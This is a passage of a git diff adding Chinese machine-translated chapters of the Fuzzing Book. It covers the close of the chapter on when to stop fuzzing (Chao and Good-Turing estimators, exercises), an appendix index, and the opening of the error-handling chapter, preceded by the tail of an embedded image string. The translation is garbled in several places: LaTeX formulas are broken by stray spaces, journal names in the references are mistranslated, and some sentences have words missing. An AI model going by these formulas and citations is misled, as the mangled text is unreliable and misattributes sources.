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
+)
+
+Chao的外推器的预测看起来非常准确。 我们以$ time = trials / 4 $进行预测。 尽管进行了3次外推（即在试验中），但我们可以看到预测值（黑色，虚线）与经验值（灰色，实线）紧密匹配。
+
+***试试*** 。 再次尝试将`trials`设置为100万，将`time`设置为`int(trials / 4)`。
+
+## 经验教训
+
+*   可以衡量一个模糊测试活动的*进度*（以时间上的物种，即$ S（n）$）为单位。
+*   一个人可以衡量一个模糊测试的*效果*（以渐近总物种$ S $的形式）。
+*   可以使用Chao1估算器$ \ hat S $估算模糊测试的*效果*。
+*   可以推断出模糊测试的*进度* $ \ hat S（n + m ^ *）$。
+*   可以使用物种发现概率的Good-Turing估算器$ GT $来估算*残余风险*（即，存在尚未发现的错误的概率）。
+
+## 后续步骤
+
+本章是书中的最后一章！ 如果要继续阅读，请阅读[附录](99_Appendices.html)。 否则，*会利用您所学到的知识来创建出色的模糊器和测试生成器！*
+
+## 背景
+
+*   受生态学启发的用于的**统计框架。 马塞尔·伯姆（MarcelBöhme）。 [STADS：作为物种发现](https://mboehme.github.io/paper/TOSEM18.pdf)的软件测试。 ACM扫描仪27（2）：1--52**
+*   估计**发现概率**： 好。 1953\. [物种的种群频率和种群参数估计](https://www.jstor.org/stable/2333344)。 Biometrika 40：237–264。
+*   当每个输入可以完全属于一个物种时，估计**的渐近总数**：Anne Chao。 1984年。[人口中类别数的非参数估计](https://www.jstor.org/stable/4615964)。 斯堪的纳维亚统计杂志11：265–270
+*   当每个输入可以属于一个或多个物种：Anne Chao时，估计**的渐近总数**。 1987年。[估计具有不相等的可捕获性的捕获-捕获数据的种群规模](https://www.jstor.org/stable/2531532)。 生物识别43：783–791
+*   **外推**所发现物种的数量：沉宗仁，Anne Chao和Chih-Feng。 2003\. [预测进一步的分类抽样](http://chao.stat.nthu.edu.tw/wordpress/paper/2003_Ecology_84_P798.pdf)中新物种的数量。 生态学84，3（2003），798–804。
+
+## 练习
+
+I.J. Good和Alan Turing为每种输入恰好属于一个物种的情况开发了一种估计器。 例如，每个输入仅产生一个执行跟踪（请参见函数 [`getTraceHash`](#Trace-Coverage) ）。 但是，通常情况并非如此。 例如，每个输入执行多个语句并在源代码中进行分支。 通常，每个输入可以属于一个*或多个*种类。
+
+在此扩展模型中，基础统计信息完全不同。 但是，我们在本章中讨论的所有估计量都与简单的单一物种模型几乎完全相同。 例如，Good-Turing估计器$ C $定义为$$ C = \ frac {Q_1} {n} $$，其中$ Q_1 $是单例物种的数量，而$ n $是生成的测试用例的数量。 在整个模糊测试过程中，我们记录每个物种的*发生频率*，即属于该物种的输入数量。 同样，如果我们已经完全看到一个属于物种$ i $的输入，则将物种$ i $定义为*单例物种*。
+
+### 练习1：估计和评估语句覆盖范围的发现概率
+
+在本练习中，我们为简单的模糊器创建一个良好转向估计器。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第1部分：人口覆盖率
+
+像[中的实现估计概率](#Estimating-the-Discovery-Probability)一节中那样实现函数`population_stmt_coverage()`，该函数监视随时间推移（即随着测试输入数量$ i $的增加）的单身和双身人数。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
+
+```py
+from [Coverage](Coverage.html) import population_coverage, Coverage
+...
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：人口
+
+使用[中有关[Fuzzers](Fuzzer.html) ]一章的随机`fuzzer(min_length=1, max_length=1000, char_start=0, char_range=255)`来生成$ n = 10000 $模糊输入的总体。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
+
+```py
+from [Fuzzer](Fuzzer.html) import RandomFuzzer
+from [html.parser](https://docs.python.org/3/library/html.parser.html) import HTMLParser
+...
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
+
+```py
+Ellipsis
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第3部分：估计概率
+
+在Python HTML解析器（`from html.parser import HTMLParser`）上执行生成的输入，并使用Good-Turing估计器估计下一个输入覆盖先前未发现的语句的概率（即发现概率）。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第4部分：实证评估
+
+在[末尾的估计发现概率](#Estimating-the-Discovery-Probability)一节的末尾，使用实验程序经验性地评估Good-Turing估计量（使用$ 10000 $重复）覆盖新语句的概率的准确性。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：推断和评估语句覆盖范围
+
+在本练习中，我们使用Chao的外推法来估计模糊测试的成功。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第1部分：创建总体
+
+使用随机`fuzzer(min_length=1, max_length=1000, char_start=0, char_range=255)`生成$ n = 400000 $模糊输入的总体。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：计算估算值
+
+计算生成$ n / 4 = 100000 $模糊输入后的语句$ \ hat S $总数的估计值。 在扩展模型中，$ \ hat S $计算为\ begin {align} \ hat S_ \ text {Chao1} = \ begin {cases} S（n）+ \ frac {Q_1 ^ 2} {2Q_2} & \ text {if $ Q_2 > 0 $} \\ S（n）+ \ frac {Q_1（Q_1-1）} {2} & \ text {other} \ end {cases} \ end {align}
+
+*   其中$ Q_1 $和$ Q_2 $分别是单例和双例语句的数量（即分别由一个或两个模糊输入分别执行的语句），和
+*   其中$ S（n）$是生成$ n $模糊输入后已（发现）的语句数。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第3部分：计算和评估外推器
+
+通过比较预测的陈述数与经验的陈述数，计算和评估Chao的外推器。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WhenToStopFuzzing.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/38.md b/new/fuzzing-book-zh/38.md
new file mode 100644
index 0000000000000000000000000000000000000000..0576c556d6f929495d592763bfac089619b3d6c2
--- /dev/null
+++ b/new/fuzzing-book-zh/38.md
@@ -0,0 +1,15 @@
+# Appendices
+
+> 原文： [https://www.fuzzingbook.org/html/99_Appendices.html](https://www.fuzzingbook.org/html/99_Appendices.html)
+
+此部分包含笔记本电脑和支持其他笔记本电脑的模块。
+
+*   [处理错误](ExpectError.html)提供了在笔记本中捕获和报告预期错误的方法。
+
+*   [定时器](Timer.html)是一个简单的实用程序，用于测量执行期间经过的时间。
+
+*   [控制流](ControlFlow.html)帮助确定Python程序中的控制流。
+
+*   [铁路图](RailroadDiagrams.html)将语法可视化为铁路图。
+
+*   [索引](00_Index.html)是书籍的索引。
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/39.md b/new/fuzzing-book-zh/39.md
new file mode 100644
index 0000000000000000000000000000000000000000..067647f91bcb41fe7e6272bae190d2a82ed824d8
--- /dev/null
+++ b/new/fuzzing-book-zh/39.md
@@ -0,0 +1,342 @@
+# 错误处理
+
+> 原文： [https://www.fuzzingbook.org/html/ExpectError.html](https://www.fuzzingbook.org/html/ExpectError.html)
+
+本笔记本中的代码有助于处理错误。 通常，笔记本代码中的错误会导致代码执行停止； 而笔记本代码中的无限循环会导致笔记本无休止地运行。 本笔记本提供了两个类来帮助解决这些问题。
+
+**前提条件**
+
+*   该笔记本需要对Python的高级概念有一些了解，特别是
+    *   类
+    *   Python `with`语句
+    *   追踪
+    *   测量时间
+    *   例外情况
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.ExpectError](ExpectError.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+`ExpectError`类允许您捕获和报告异常，但可以恢复执行。 这在笔记本中很有用，因为它们通常会在引发异常后立即中断执行。 它的典型用法是与`with`子句结合使用：
+
+```py
+>>> with ExpectError():
+>>>     x = 1 / 0
+Traceback (most recent call last):
+  File "<ipython-input-13-264328004f25>", line 2, in <module>
+    x = 1 / 0
+ZeroDivisionError: division by zero (expected)
+
+```
+
+`ExpectTimeout`类允许您在指定的时间后中断执行。 这对于中断可能永远运行的代码很有用。
+
+```py
+>>> with ExpectTimeout(5):
+>>>     long_running_test()
+Start
+0 seconds have passed
+1 seconds have passed
+2 seconds have passed
+3 seconds have passed
+
+Traceback (most recent call last):
+  File "<ipython-input-14-7e5136e65261>", line 2, in <module>
+    long_running_test()
+  File "<ipython-input-10-8d0f8e53f106>", line 5, in long_running_test
+    print(i, "seconds have passed")
+  File "<ipython-input-10-8d0f8e53f106>", line 5, in long_running_test
